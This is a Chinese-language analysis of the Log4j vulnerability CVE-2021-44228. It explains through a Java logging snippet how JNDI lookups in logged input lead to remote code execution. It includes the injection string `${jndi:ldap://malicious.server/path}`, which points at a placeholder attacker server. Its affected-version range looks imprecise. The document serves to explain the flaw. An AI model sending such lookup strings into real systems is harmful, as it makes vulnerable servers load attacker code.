CVE-2021-44228漏洞代码分析

### CVE-2021-44228 漏洞代码分析

#### 日志记录中的潜在风险

当应用程序使用 `org.apache.logging.log4j.LogManager` 和 `org.apache.logging.log4j.Logger` 来创建日志实例并记录信息时，可能存在安全隐患。例如，在下面的 Java 代码片段中：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        String userInput = args[0];
        logger.info("User input: " + userInput);
    }
}

这段代码看似无害，但在某些情况下却隐藏着危险。如果用户输入的数据包含了特定模式 `${...}` 的字符串，则这些数据会在日志记录过程中被当作 JNDI 查找表达式来处理[^4]。

#### JNDI 注入机制

Java 命名和目录接口 (JNDI) 是一种用于访问命名和目录服务的应用程序编程接口。它允许开发人员通过统一的方式查询不同类型的资源位置和服务。然而，在 Log4j 中不当使用此功能可能导致安全问题。

具体来说，当遇到形如 `${jndi:ldap://malicious.server/path}` 或者其他支持协议（如 rmi, dns 等）的日志条目时，Log4j 将尝试连接到指定 URL 并加载相应的类或对象工厂。攻击者可以通过精心构造这样的日志消息触发远程服务器上的恶意行为，从而实现远程代码执行(RCE)[^5]。

#### 影响版本范围

受影响的是 Apache log4j2 版本低于等于 2.15.1.rc1 的所有发行版[^2]。这意味着任何依赖于该库构建的应用都可能暴露在此严重漏洞之下直到升级至修复后的稳定版本为止。